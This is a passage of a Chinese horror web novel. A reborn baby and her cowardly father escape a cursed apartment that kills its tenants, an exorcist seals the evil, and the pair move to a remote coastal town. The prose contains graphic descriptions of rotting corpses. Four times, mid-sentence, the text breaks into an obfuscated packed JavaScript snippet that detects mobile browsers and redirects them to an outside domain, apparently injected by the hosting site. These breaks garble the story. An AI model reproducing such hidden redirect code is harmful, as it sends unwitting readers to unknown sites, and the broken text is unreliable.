旅店底楼是一家酒馆,酒水是胖老板自酿的,价格很便宜,一到晚上就会吸引大量社会底层的客人前来消遣。 人一多,消息便也格外灵通。五月花公寓一对教徒夫妇献祭而死,尸臭味弥漫,逼得住户纷纷外逃的新闻,如今正在整个旧城区传得沸沸扬扬。只是被抱下楼吃顿晚饭(谢利吃饭埃弗莉嘬奶瓶)的工夫,埃弗莉就从周围人的闲谈中了解到,今天上午,在各方催促下,警方已经定死了304夫妻系沉迷邪/教紫砂死亡,带队撤出了现场。 房东看到屋子解封,当下立刻拨打电话,请专门的凶案现场清洁人员上门,把304房间里里外外打扫了一遍,家具全部丢掉,地板也撬开一寸寸清理,不放过一丝缝隙。 “那五月花公寓现在还臭吗?”谢利插话。 “我住在那间公寓的朋友下午就回去了。据说里面喷了除臭,已经闻不到什么味道了。”一名食客回答。 谢利闻言非常高兴:“太好了,看来我明天就能回去了。” ——然后他就体验了一把什么叫“乐极生悲”。 小酒馆当晚有两人为争抢美女的青睐,大打出手。起先还只是一场小小的斗殴,不料对决的双方,分别来自两个彼此敌对的小帮派。 打着打着,越来越多的帮派成员搅合进战局,这场小小的斗殴,也逐渐升级成了两个帮派之间的混战。 谢利胆小如鼠,自然不可能参与到这种危险的活动中去,但他人比较倒霉,在撤离的时候,不小心被一名帮派成员抡起椅子打中了小腿。 “啊啊啊啊啊!我的脚!”谢利抱着腿痛得吱哇乱叫,眼泪鼻涕喷泉一样涌出,糊了他满脸,整个人瞬间失去了行动能力。 后来,还是旅店胖老板为人仗义——也可能是担心谢利死在械斗中,牵连到他——总之,关键时刻,胖老板像个英雄一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566111|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突入战局,救出了立在原地呆愣如鸡的谢利和他怀中的小婴儿,将这个不幸被卷入的倒霉蛋推到了柜台后面躲着。 酒馆的斗殴持续了将近半个小时。 等无能的米国警察终于赶到,大声呼喝着止住混战时,屋子里已经没一处好地。 参与斗殴的双方都被警察拿警棍抵着,粗暴地押送进了警车,至于谢利,则被救护车“咿呀咿呀”送往了医院。 坏消息,他的小腿骨折了。 好消息,这次住院无需自费。 胖老板友情推荐了一名律师给谢利。也不知那位律师是如何操作的,没过多久,谢利在律师的主持下签署了一份谅解书,得到了械斗双方打来的大笔赔款。虽然事后需要付一些抽成给律师和胖老板,但刨除那些,谢利依旧通过这次受伤狠赚了一笔,乐得脸上笑开了花,直感叹这伤受得值。 埃弗莉也很乐呵。因为渣爹腿折了,没办法照料她,院方就帮忙找了个临时保姆。保姆虽然是临时的,做事却一点不马虎,喂奶拍嗝换尿布,洗澡翻身哄觉觉,把小埃弗莉照料得无微不至,短短十来天,埃弗莉就成功白胖了一圈。 可惜美好的时光终究是短暂的。 半个月后,因为骨骼愈合形势良好,渣爹谢利出院了。 谢利一出院,埃弗莉就不能再白嫖保姆阿姨的精心呵护。因为这笔护理费是和住院费算在一起,要由械斗帮派报销的。抠门的谢利才不会舍得花自己的钱请护工。 埃弗莉:悲伤QAQ 办理完手续,父女俩在医院门口打了辆车,准备回五月花公寓。不料,报出目的地后,出租车司机面色一下子变得有些古怪。 “您要去五月花公寓?”他转头跟谢利确认。 “是的,怎么了?” “您……您难道没听说吗,有关那个公寓的传闻。” “什么传闻,304死了两个人的事?” “不,不是那个……304的教徒夫妻已经是老新闻了。现在关于那幢公寓最新的说法是,五月花公寓它——它会吃人!” “胡说,我都在那生活了好几年了,它会吃人我怎么可能没事?”谢利是个无神论者,一向对神鬼之说不屑一顾,认为那些都是迷信。看到出租车司机始终没发车,他不耐烦地催促:“我赶时间,你快开!” “哎,您坐好。”出租车司机耸耸肩,不再多话,油门一踩,车子就飞也似地蹿了出去。 二十分钟后,出租车在距离五月花公寓几十米远的街边停住。 前面过不去了。 谢利打开车窗,和坐在胸前襁褓里的埃弗莉一起,伸长脖子往五月花公寓门口望。 公寓大门右侧的地面上拉着一圈警戒线,两辆亮着红灯的警车,和一辆灯光闪烁的白色救护车呈包围之势,散布在警戒线外侧。几名身穿制服的警察正在警戒线周围维护秩序,白衣的医护人员脚步匆匆,来往不息。 警戒线外,围观群众里三层外三层,将现场围了个水泄不通。 五月花公寓又发生命案了。 5. 恶臭 (本章某些描写略显重口,介意慎) “怎么了,发生什么事了?” “听说五月花公寓又死了一个人。” “又来?这都第几个了……那公寓一定是被诅咒了!” “这是第八个吧。这一回是真的吓人,那个人好好在路上走着,突然就倒下不动了。我当时就走在他后面,上帝啊,真差点没把我心脏病吓出来。虽然医生还在抢救,但都这么久了,估计早死透了……” 围观者嗡嗡的议论透过车窗,钻进谢利和埃弗莉耳朵。 谢利的脸色很不好看。 他本来就是个胆子很小的男人。接连发生几次事故,让谢利本能地对五月花公寓产生了畏惧。 “那个……你之前跟我说,五月花公寓会吃人,具体是什么情况?”犹豫了一下,他开口询问出租车司机。 “客人,您看您已经到目的地了,我还赶着去接新单……”司机作出为难的样子。 “我加钱。”谢利闻弦歌知雅意,也顾不上心疼,掏出钱包,递了张10米刀钞票过去。司机接了钱,喜笑颜开,立刻毫无隐瞒地将他知道的有关消息尽数分享了出来。 “最初的开端,是304那对自我献祭给口口的夫妻,这件事您应该听说过。尸体被发现后,五月花公寓爆发了一股恶臭,很多人都逃出了公寓,在街头露宿。直到第二天,房东找人清理了现场,又拿一把大锁把304锁住,住客们才陆陆续续回到公寓。” “而噩梦,也是从他们回到公寓后开始的……” 出租车司机很爱讲故事,声音压低,搭配一惊一乍的语气词,把氛围感营造得很足。 据他所说,最先出事的是304隔壁的303住客。那是一名餐馆服务员,她工作兢兢业业,十余年来从未迟到早退,却在某天毫无征兆地旷了工。她的老板不放心,收工后上门拜访,发现她光着身子跪坐在浴缸边,头朝下浸泡在放满水的浴缸里,早就没有了呼吸。 死因是溺亡,但死法非常离奇。女服务员体内没查出酒精或者药物,现场也不存在扭打痕迹,警方查了一圈,没查到什么有用的信息,最后只能猜测,也许她是太过疲惫,在走进浴缸前先一步昏睡过去,头泡进水里,不小心把自己淹死了。 当然,这个结论一看就很不靠谱。但没办法,谁叫女服务员孤身一人呢?她的丈夫孩子早就死了,也没有关系好的亲戚朋友愿意为她出头,跳出来质疑警方。 于是,第一个死亡案就这样草草了结了。 接着死去的是204的一名老人。他年纪大了,又有酗酒的习惯,因此,当那天清晨,人们在通向二楼的阶梯上看到颈骨折断气绝身亡的老人时,并没有多想,只以为是意外摔倒所致。 第三名死者住在305,他是一名建筑工人,工作时突然一头栽倒,落在了裸/露的钢筋上,被刺了个对穿。 “……其实,这时候已经有人感觉到了不对,因为这几名死者居住的房间——303、204、305,发现了吗?全都是围绕着304分布的!不过,第四起死亡案打破了这个规律……” 谢利这时候已经吓得满头冷汗了。 ——什么打破规律,他就是404的住客啊!没有死不是因为规律错了,而是……而是他这段时间压根没有回过公寓! 公寓会吃人,这传闻难道是真的?! 出租车司机没有发现谢利的惊恐。他掰着手指,继续罗列五月花公寓剩下的几名死者和他们的死因。谢利却已经失去了听故事的兴趣。他将车窗又往下降了些,身体倾斜,凑到窗口深深呼吸,想要缓解慌乱的情绪。 一股恶臭就在这时随风闯入他和埃弗莉的鼻子。 还是熟悉的夏日冰箱臭鱼味,却比逃离公寓的那个下午浓烈了数倍,堪称浓缩再浓缩后的究极生化炸弹。埃弗莉怀疑自己的鼻子都要报废了,她被那臭气熏得眼泪直冒,强烈的恶心从腹内腾起,直冲向她的咽喉。 “唔呕……好臭,太臭了!关窗,快关窗!”谢利也被熏得不行。他“啪”一下关上了车窗,倾身向前,火急火燎地催促司机把前排的车窗也一并关上。 “臭吗?我怎么什么也没闻到……”司机嘴里犯着嘀咕,听话地合上了车窗。 隔绝了外界的臭气后,车里的味道总算没再那么地狱。 谢利和埃弗莉两父女同时张开嘴巴,贪婪地呼吸着新鲜空气,像两条搁浅在海滩的鱼。 人类的悲喜并不相通。出租车司机透过后视镜看到了这一幕,并没有生出同情,只觉得格外滑稽:“哪里有臭味,别是你们闻错了吧……不过,说到气味,我倒是有听说过一条五月花公寓的内幕消息,我敢保证很多人都不知道。” “什么消息?” “就在前天,我刚好路过警局,接了名晚归的法医。我偷听到了他打电话的内容,哦上帝,那真是不可思议——知道吗,那名法医说,放置在停尸房的五月花公寓住户尸体,腐败的速度快得离奇,才两天不到,就在冷柜里化成了一滩臭气冲天的尸水,连骨头都没留下!” “什么?!这、这……” 谢利的声音变得更加恐惧。 因为,就在出租车司机分享内幕的同时,五月花公寓外忽然一阵哗然。四周围观的人群被警察向左右驱散,一辆运送尸体的推车穿过间隙,停在了警戒线边缘。 出租车停在上行的坡道上,从谢利的角度,刚好能越过运尸车,看到警戒线内地面上的那滩……那滩烂肉。 是的,烂肉。 尽管那团肉好好穿着衣服裤子,还依稀能看到头颅和四肢的轮廓,可那毫无疑问就是一团高度腐败的烂肉。 肉团像是由内而外炸开的,颈部、肩膀等部位还残留着未完全腐烂的表层皮肤,松垮垮软塌在那里,稍微一碰就向外牵拉出淡黄色的粘稠丝线,面部、胸腔和腹部却彻底皮肉翻卷,只剩下向内凹陷的深坑。深坑里面,红的、白的、黄的、固体的、液体的、半固半液的,乱七八糟糊成一团。青黑的霉斑散布其间,勾勒出一副令人作呕的地狱图景。 两名医护人员从烂肉胸口的凹陷处收回沾满不明液体的双手,扣好为急救而解开的纽扣,站起身朝推车行来的警察遗憾地摇了摇头。警察会意,摆手让人抬起烂肉的“四肢”,将它放上推车,蒙上白布。 一整个过程透着令人悚然的荒诞与恐怖。 如果只是一团烂肉,真的会有人给它一本正经地做急救穿衣服吗? “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566112|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个人好好在路上走着,突然就倒下不动了”、“五月花公寓住户尸体腐败的速度快得离奇”、“一滩臭气冲天的尸水”……刚才收集到的信息忽然齐齐闯入脑海,谢利睁大眼,哆嗦着手指,戳了戳前座的司机。 “在……在你眼里,那具尸体长什么样?” “什么样?就很普通啊,看样子才三十出头吧,可惜了,这么年轻早早死了……”司机答。 谢利的表情越发慌乱。他胸口剧烈起伏着,额头渗出的冷汗向下坠落,砸了埃弗莉满脸。但埃弗莉已经顾不得恶心了,她同样瞪大眼眸,转头惊悚地看着司机,不敢相信自己听到的东西。 司机说尸体很普通?可她看到的,明明是一团恶心到极点的烂肉啊…… “你确定你看到的不是一团烂肉?”她听到谢利问。 看来她和渣爹看到的是同样的画面。 司机一下子板起了脸,横眉斥道:“什么烂肉,这种玩笑可不能乱开,对死者太不尊重了!” “唔……唔呕!”前所未有的恐惧攫住了谢利。反胃感袭来,顾不得拿拐杖,他一把推开车门,连滚带爬地跑到路边,张嘴就哗啦啦吐了起来。 埃弗莉也想吐。 为了腾出手拄拐杖,谢利把她的襁褓用绑带固定在了他的胸口。离开出租车后,外面的臭气随着风阵阵飘来,混合着头顶谢利呕吐物的酸臭,还有耳畔咽喉收缩蠕动的环绕立体音,怎一个恶心了得。 作为一个小婴儿,她真的承受了太多,要……要吐奶了! “嘿老兄,你没事吧。不过看到个死人,你反应至于这么大吗?”身后传来车门打开又关闭的声音,出租车司机走上前来,伸手扶住了谢利金鸡独立抖个不停的身体,并体贴地把谢利遗忘在车内的拐杖塞到了他的腋下,“你住在五月花公寓对吧,看你一个人带着宝宝也挺不容易的,要我扶你进去吗?” “不、不用了……”谢利看着不远处的五月花公寓,睁圆的双目中满是畏惧。 目光所及处,年代久远的木结构建筑安静矗立在喧闹的街道上。高六层楼,初建时曾是街上数一数二的时髦大楼,但如今,传统的木结构早已让它成为“过时”、“老土”的代名词。写有“五月花”名字的巨型广告牌歪歪扭扭,刷成白色的外墙因长期风吹日晒,漆面剥落,露出下方暗红色的底漆,乍一看就像一道道血肉淋漓的狰狞伤口。 每一道伤口,都让人联想到刚才那具可怖的烂肉。 五月花公寓就这样沉默而耐心地蹲伏在那里,庞大的身躯笼罩着不祥的阴云,洞开的大门黑漆漆的,像一张连接着深渊的巨口,等待祭品的自投罗网。 如此诡谲,如此不祥,谢利怎么可能放任自己落入这样明显的死亡陷阱! 可是—— “蕾切尔。”埃弗莉听到谢利哑着嗓子,怀着思慕与悲伤,突兀地念起了亡妻的名字。 “蕾切尔的照片,还在里面……” “是啊,蕾切尔。” 像清水被墨汁所浸染,埃弗莉眼睁睁看着谢利的双眼从清明到混沌,直至最后,一层诡异的阴霾覆盖了他凝视公寓的眼眸。耳畔响起的,是谢利机械的呢喃。 “必须……必须拿出来才是……” 6. 恶臭 “蕾切尔……照片……拿出来……” 谢利眼神发直,口中复读机一样翻来覆去念叨着相似的话,抬步便朝五月花公寓的方向走。 司机不明所以,见谢利一反先前的抗拒,主动往公寓前进,就好心搀扶起他的半边身体,陪着谢利一起往前。 被绑在前胸的埃弗莉清楚看到了谢利转变的过程。她这个渣爹胆子比老鼠还小,做事情犹犹豫豫,最喜欢瞻前顾后,刚才还一副吓得要命的样子,绝无可能下一秒就战胜恐惧,变成伟大的纯爱战士。 埃弗莉前世看过不少恐怖片,她强烈怀疑谢利是被某些特殊力量影响,迷惑了心神。如果只有他一个,她管他去死呢!可偏偏她现在还只是个小婴儿,渣爹和她深度绑定,谢利这一入虎口,她也没好果子吃! 于是她张开嘴巴,发出了一阵惊天动地的大哭,襁褓里的四肢胡乱扭动,又踢又打,希望能唤醒谢利的理智。 “呜哇——呜哇呜哇!” 谢利对埃弗莉的哭喊踢蹬无动于衷。他已经被邪恶力量彻底迷惑,往公寓迈进的步伐执着又坚定,过程中连一丝眼神都没有分给胸前的埃弗莉。 反倒是那个出租车司机,看埃弗莉哭得撕心裂肺,凑了半张大脸过来,挤眉弄眼试图哄她:“哦,小宝宝,不哭不哭,马上到家了哦……” 可恶,真希望她停止大哭,就给她拽住谢利,别再加速他俩奔赴死亡的进度啦! 埃弗莉深恨自己年纪太小,连舌头都捋不直,心里再焦急,也只能发出“啊啊、啊啊”的智障声音。 短短一段路很快走到头。 看着近在咫尺的公寓大门,埃弗莉的心也坠入了谷底。 “好啦,我们到了……这公寓实在邪门,我比较害怕这些,就不继续送你了。老兄,祝你——嗯、还有你的小宝宝好运。”出租车司机在门口的位置站定脚步,同谢利告别。 谢利没有理会司机。 他像一头饿了好几天的野兽终于见到心心念念的食物,眼球凸起,牙关紧咬,脸颊带着狂热的红晕,双眼死盯着面前的大门,距离越近,脚下的速度越快,最后近乎是跑着闯进了阔别已久的五月花公寓。 像是撞破了某层看不到的屏障。进门的那刻,门外的喧闹、生机与阳光一起被隔绝,幽深的黑暗纱幔一样笼罩而下,将父女两人死死裹住。 “呼——!” 一并涌来的,还有直冲脑门的强烈臭气。 如果说外面那团烂肉的臭气是闷了三天的臭鱼,公寓里的气味就是无数条这样的臭鱼聚集在一起,腐化,发酵,压缩,提纯……不、不是臭鱼!这种满含死亡气息的气味,其实更像无数具人类尸体堆叠在一起,以亡者的怨念与不甘为引,孵化而出的,充满诅咒与亵渎的味道。 而现在,这种诅咒正随着呼吸,从两人的口鼻、耳道、眼睛……甚至每一处毛孔向内侵蚀。 阴冷的感觉爬上埃弗莉全身,她感到脖颈好似被一双看不到的巨手扼住,身体发冷,难以呼吸,有那么一瞬,她差点以为自己就要这样死去。 就在窒息感越发强烈时,一阵滚烫的炽热忽然从埃弗莉胸口传来,驱散了包裹她周身的阴寒。埃弗莉感到身体一暖,僵冷的四肢顷刻恢复了灵活。她顾不得多想,立刻伸出小手,向自己胸口发烫的东西摸去——是那枚外祖父留下的十字架! 黄铜的十字架像刚放在火上炙烤过一样,通身内蕴着暗红的火光,仅仅只是摸了一下,埃弗莉手指尖立刻浮现硕大的水泡。她觉得自己的胸口肯定也已经被烫出了伤疤,可埃弗莉已经顾不上这些了。 渣爹谢利仍处在未知力量的影响下,大踏步朝公寓更里面走。黯淡的壁灯忽明忽灭,幽幽冷光照射下,他的脸色已经浮现死人般的青黑。 这里离大门口已经有些距离。等谢利一死,她一个走路都做不到的小婴儿,要怎么离开这个危险恐怖的环境? 想到这,强忍着指尖传来的剧痛,埃弗莉“啊啊”大叫着,高高举起十字架,一把将它按上了谢利的下巴颏。 ——快给她清醒过来啊,没用的爹!!! “滋,滋滋……” 触碰到谢利的那一刻,十字架上倏地腾起一股透明的火焰。无色的火顺着皮肤飞快扩散,火舌所过之处,皮肉烧灼的声音不绝于耳。恶臭的脓液像榨油一样,被火焰从男人毛孔汩汩蒸出,衬得他面容可怖,如同地狱爬出的恶鬼。 “沙沙”,火焰爬过口唇与鼻梁,继续往上蔓延。作为代价,埃弗莉发现手中十字架的体积正以极快的速度缩小,就好像……就好像这股火焰使用的柴薪,是铸造十字架的黄铜一样! 当这圣洁的火焰一路往上,终于烧灼到谢利的眼部,“滋滋”声骤然变大,以男人的瞳孔为中心,向外腾起两团明亮的火。覆盖在男人眼底的阴霾发出尖啸般的嘶鸣,在烈焰的灼烧下,一丝一缕,不甘地消褪。 直到最后一点阴影消失,谢利浑身一颤,眼神清明,如梦初醒。 他第一时间捂住自己的脸颊,口中发出了凄厉的痛呼:“啊!啊啊啊啊!好痛,好痛!” 好在他还不算太蠢,嘴里喊着痛,脑子也很快反应过来,转身就往公寓外狂奔。 在性命安危前,烫伤和骨折全部都可以忽略不计。强忍着肉/体上的疼痛,谢利一边没出息地大喊、哭嚎、尖叫,一边爆发出所有的潜力,朝着黑暗中唯一散发着微光的大门不断奔跑,奔跑,奔跑……直至最后,随着“啵”一声轻响,无形的隔膜被男人一头撞破,光明袭来,揣着胸前的埃弗莉,他踉跄着回到了喧嚣热闹的大街。 阳光重又笼罩身体的那刻,埃弗莉感到手中一空。 她如有所感,举起满是水泡的手。掌心还残留着十字形的烫伤,与谢利下巴的痕迹一模一样,然而,手掌与疤痕之间,黄铜的老旧十字架已然不见影踪,只余下一捧淡金的飞灰簌簌飘落,被风带往遥远的远方。 那枚拯救了她性命的十字架烧完了。 “唔……唔呕!” 似乎是身体的忍耐到达了临界点,松懈下来后,一股腥臭的冷流直冲喉头,埃弗莉再也忍不住,嘴巴一张便伸着脖子,哇哇呕吐了起来。 落在胸口和地面的呕吐物是漆黑的,黏稠拉丝,带着恶臭,看起来像沥青,又有些像头发。埃弗莉很确定自己没有吃过这种玩意——她还是个小婴儿,吐出的按理说只会是奶水和胃部分泌物。 继她之后,渣爹也开始呕吐。他撑着路灯柱,嘴巴张开,“哗”一声便朝外呕出一大团黑液。糊在地上的秽物比埃弗莉更粘稠也更臭,光看那那汹涌而出四处喷溅的样子,与其说呕吐,更像一门大炮在喷射。 公寓外的死尸才刚运走,看热闹的人还没散尽。看到大门外父女俩一同呕吐的奇景,很快就有热心人围聚了过来。 “天呐,好臭,他们一定是食物中毒了!” “这个人脸上还有烫伤!” “嘿,救护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566113|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车不是刚走吗,快把它喊回来……” 埃弗莉几乎把肚子里所有存货吐空了。呕吐过后,强烈的倦意袭来,在路人乱糟糟的呼喊声中,她双眼沉重,很快沉入了漆黑一片的乱梦。 …… 再次睁开眼,依旧是熟悉的医院,万幸不再是新生儿室,而是在普通病房里。 可能是在五月花公寓沾染了脏东西的缘故,埃弗莉又发烧了。 她手背挂着点滴,指尖烫伤处敷着膏药,满脸潮红,呼吸粗重,小小一只缩在床上,看上去格外可怜。 在她病床的隔壁,躺着渣爹谢利。他比她更倒霉,公寓里的疾跑令才好的腿伤再度复发,为防止骨骼错位,医生不得不割开好不容易愈合的刀口,把钢钉重打了一遍。此外,因为被邪恶力量控制过身体,他刚到医院就上吐下泻,也发起了高烧。 父女俩满身病痛,一人一张病床,煎熬地在刚刚恢复重建的医院里休养着。 这期间,五月花公寓还在持续不断地死人,几乎每天,报纸上都能看到相关报道。 死的人太多,有关“公寓吃人”的传闻渐渐越传越广。眼看自己的房子就要变成远近闻名的凶宅,公寓的房东、一名薄有资产的商人终于坐不住了。 他经人介绍,雇佣了一个名为“威斯特”的驱魔人前来帮忙。此人曾破除过“德西亚娃娃屋”、“亡灵客栈”等著名灵异事件,业务能力极强——相对的,每一次驱魔的要价也相当高,没有足够的钱根本无法请动。曾有不少人因此喷他“守财奴”、“铁石心肠”,威斯特对此不置一词,依旧我行我素。 现在,这位米国驱魔圈赫赫有名的大人物就坐在谢利病床前,口叼一根未点燃的香烟,双眸眯起,神情慵懒地听谢利讲述一周前在公寓的恐怖经历。 他听故事,埃弗莉看他。和充满传奇色彩的个人履历不同,现实中的威斯特年纪很轻,看起来才30出头,宽肩长腿,眉眼深邃,卷曲的黑色头发胡乱用几枚金属夹子夹在鬓边,浓眉之下,绿色的眼珠闪烁着神秘的光彩,搭配他唇边的胡茬,既落拓又性感,一整个游戏人间的放荡公子。 是很吸引叔控的那类长相。 “……所以说,那一天要不是有十字架项链帮忙,你觉得自己可能会死在公寓里?”长长的故事讲完,埃弗莉听威斯特问。 “是的,没错……当时的状态真的很难形容。我的脑内好像住进了另一个存在,它蛊惑着我,让我忘记了害怕,只一心想留在公寓,在那里永远地住下去,为某个存在奉献一切……”时隔一周,再次回忆起那天的情形,谢利仍没能忍住,起了一身鸡皮疙瘩。 “唔……情况我基本了解了。谢利先生,你应该感谢你的岳父,听你的描述,要想有那样的威力,他给你的十字架至少得到过一名红衣主教的赐福,是非常珍惜的驱邪物品。”说罢,威斯特打开钱包,从里面抽出几张百元米刀放在谢利床头,“这是约好的‘情报费’。” “太谢谢了!如果您还有什么想知道的,还请尽管问。” “没什么需要问的了。”威斯特摇摇头,从椅子上站起身,“我已经勘破了此次事件的谜团……万事俱备,接下来,该我上场了。” 说完,他抓住领口,抖了抖身上布料挺括的长风衣。长长的下摆随他的动作在空中荡起利落的弧线,驱魔人低头,给自己扣上漆黑的礼帽,转过身,右手懒洋洋朝谢利一挥,随后便步履如风,消失在了病房门口。 …… 7. 搬家 埃弗莉本来以为,威斯特这一去,少说得要好几天。 她前世看过的恐怖片都是这样讲的:驱魔之前,主角首先需要翻阅典籍,从浩如烟海的文献中找到关于恶魔的情报,得到对方的真名;之后,是对驱魔现场一系列繁琐的布置,仪式中涉及的某些珍贵驱魔道具,可能还要主角们出生入死,经历一番险境才能到手;最后,若是主角自己能力不足,他们还得发动人脉,召集天南海北的其他驱魔人帮忙…… 谁知道,才第二天,她就从前来探病的房东口中听说,五月花公寓昨晚举办了驱魔仪式,在威斯特的操持下,仪式顺利完成,盘桓在公寓内的邪恶力量被成功封印。 “驱魔成功不是一件好事吗,怎么您看起来愁眉苦脸的?”谢利问。 房东叹了口气:“因为,驱魔虽然成功了,但住在公寓里的房客也死得差不多了。” “啊这……” “威斯特说,公寓里的邪恶存在一直在从住户的身上汲取生命力。他来得太晚,那些房客的生命已经差不多被吸空了,哪怕从外表上看和普通人毫无差别,他们的身体内部早就开始腐坏——就像坏了的罐头,别看外包装还完好,实则说不准什么时候就会‘嘭’一下炸开,把里头的东西炸得到处都是。” 房东的形容太过贴切,埃弗莉眼前不由划过一周前看见的那团烂肉。 如果当日没有那枚十字架,她和谢利说不定也会变成“坏罐头”的一员,无法逃离公寓,一点点被诡异力量吸食、蛀空,直到最后成为一具无知无觉的行尸走肉,突兀地死在某个阴暗处,引来人们的无尽唏嘘……想到这,埃弗莉没忍住打了个寒颤。 她才不要那样死掉! “那臭气呢?我在公寓外的死尸身上、还有公寓里面都闻到了很恶心的臭味,可其他人好像完全没感觉到。”谢利刨根问底。 房东闻言,用隐晦的目光满是同情地看了他一眼:“这说明你被污染了。304爆发的臭气是一切异常的开端,也许你是在臭气里呆了太久,不小心中招了吧。” “受口口口限制,那个东西——威斯特说,没事最好不要直呼它们的名字,以免招致祸患——对现实世界的口口是缓慢而隐秘的,在力量积蓄到一定程度前,它不会让自己的存在太过惹眼。比如公寓死亡的那些住户,他们的尸体其实早已经腐烂,可受到邪恶力量的影响,普通人收敛尸体时根本看不出异样。只有像你这样受到污染的人才能看到掩盖在表象下的真实,闻到那种挥之不去的恶臭。” “……”谢利显然回忆起了前不久在公寓的遭遇,脸色一时间非常难看。 “不过你也不用太担心,威斯特已经封印了那个东西,残留在你身上的污染随时间的推移会自行消散。如果你不放心,还可以去教会找牧师做一下净化,就是得稍微花那么一些‘奉献款’。”房东说。 谢利的脸垮了。 他没有钱。 米国的医疗费十分昂贵。谢利没有医保,之前从帮派械斗中拿到的赔偿款,在支付了这段时间他和埃弗莉的治疗费与住院费后,已所剩无几。剩下的一些钱,他还要付房租,买食物和冬天的厚衣服,买颜料和画笔,买埃弗莉的奶粉和尿不湿……总之,处处都要钱,他哪来的余力做什么净化! 房东想来也知道这点。 五月花公寓租金低廉,会住在那里的租客哪一个不是兜里没几个子儿的穷光蛋。 看到谢利眉头皱起,憔悴的脸上满是窘迫,房东叹了口气,安慰地拍了拍他的肩。 家家有本难念的经。谢利为生计发愁,至于他,驱魔仪式结束后,公寓里剩余的住户一下子死了大半,全都原地化作了飞灰,连根骨头都没剩下。仅有的几个幸存者也都出现了不同程度的器官衰竭,躺在地上哀嚎不止。身为公寓的拥有者,回去之后,也有好大一个烂摊子等着他收拾呢…… 想到这,房东没忍住又叹了口气。他考虑了一会儿,哑着嗓子同谢利说:“等你出院,如果还想回五月花公寓,就尽管回来。我可以免去你接下来一年的房租。” 房东难得这么有人情味,谢利感到十分感动。 房东离开后,剩余的住院时间,他托人买来大量报纸,一有空就在床上哗啦啦翻个不停。 就这么熬啊熬,终于熬到了伤愈出院那天。谢利揣着埃弗莉,打车回到一片萧条的五月花公寓。 他花了1小时克服恐惧走进公寓大门,花了10分钟艰难地爬楼梯来到他租住的404,又花了5分钟跑遍房间每一个角落,光速打包了诸如相片、银行卡、金银首饰之类的重要物品。 至于其他东西,不敢要,那是真不敢要了…… 从404出来,谢利将手中的门钥匙压在走廊盆栽下,把早就编辑好的退租信息发送给房东,然后便跟屁股后面有狗在追一样,忙不迭跑出公寓,扛着火车连夜前往了远在东部的雅利吉佛州。 此行的目的地是一个名叫普卡蒂的小镇。小镇位于雅利吉佛州最东侧。蜿蜒的海岸线在行经此处时被海底山脉一劈为二,密布的礁石群向外延伸,形成了一道高高耸立的海岬。 普卡蒂镇就位于这座突起的海岬上。 因为水下礁石密布,缺乏良港,普卡蒂镇的渔业并不发达。事实上,这里最初是因为深埋在地底的砂金而兴盛的。后来,由于过度开采,矿脉枯竭,淘金热褪去,曾经繁华无比的普卡蒂镇也随之衰落。如今,这里只剩下几百户居民在此长住。 对于向往城市繁华的年轻人而言,普卡蒂镇荒芜、落后又闭塞,是他们拼尽全力要逃离的地方。但对于囊中羞涩的落魄画家谢利来说,普卡蒂简直就是专门为他而生的灵感宝库。 人口稀少,远离都市,意味着此处的生活成本很低;往昔的繁荣,让此地拥有学校、教堂、医院、购物中心等大量基础设施,给生活提供了一定的便利;除此以外,无论是环绕小镇的茂密森林、笼罩小镇的迷离雾气、还是海面上矗立的废弃灯塔,都让身为画家的谢利灵感大作。 搬到小镇的第二天,他就迫不及待外出采买画板、颜料等工具,准备在此潜心绘画,创作出前无古人的惊世大作,从此飞黄腾达,成为世界闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566114|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名的大画家,走上人生巅峰。 ↑ 以上内容系埃弗莉对谢利面部表情的专业解读。 